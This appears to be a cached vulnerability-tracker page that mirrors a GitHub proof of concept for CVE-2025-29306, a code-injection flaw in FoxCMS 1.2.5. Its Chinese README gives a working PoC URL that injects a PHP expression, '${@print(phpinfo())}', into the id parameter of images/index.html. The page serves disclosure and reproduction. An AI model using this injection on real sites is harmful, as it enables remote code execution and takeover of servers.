CVE-2025-29306 PoC — FoxCMS 安全漏洞

Source

https://github.com/somatrasss/CVE-2025-29306

Associated Vulnerability

Title:FoxCMS 安全漏洞 (CVE-2025-29306)
Description:FoxCMS是中国黔狐（FoxCMS）公司的一套可免费商用开源的内容管理系统。 FoxCMS 1.2.5版本存在安全漏洞，该漏洞源于index.html组件允许执行任意代码。

Readme

# CVE-2025-29306
FOXCMS黔狐内容管理系统服务参数注入漏洞

一、漏洞简介

FoxCMS是一套可免费商用且开源的网站管理系统,采用PHP+MySQL架构。 FOXCMS黔狐内容管理系统存在服务参数注入漏洞，攻击者可利用该漏洞获取服务器控制权。

二、漏洞影响

FOXCMS黔狐内容管理系统 V1.2

三、复现过程

POC http://xx/images/index.html?id=%24{%40print(phpinfo())} 输入Poc访问漏洞页面 发现phpinfo命令执行后的信息

![image](https://github.com/user-attachments/assets/72f85989-ec01-4a24-8d55-961c5d5a1023)

File Snapshot


 [4.0K]  /data/pocs/2d3e9b4119d612bc8933152c8fb2c456575c7d4b
└── [ 593]  README.md

0 directories, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.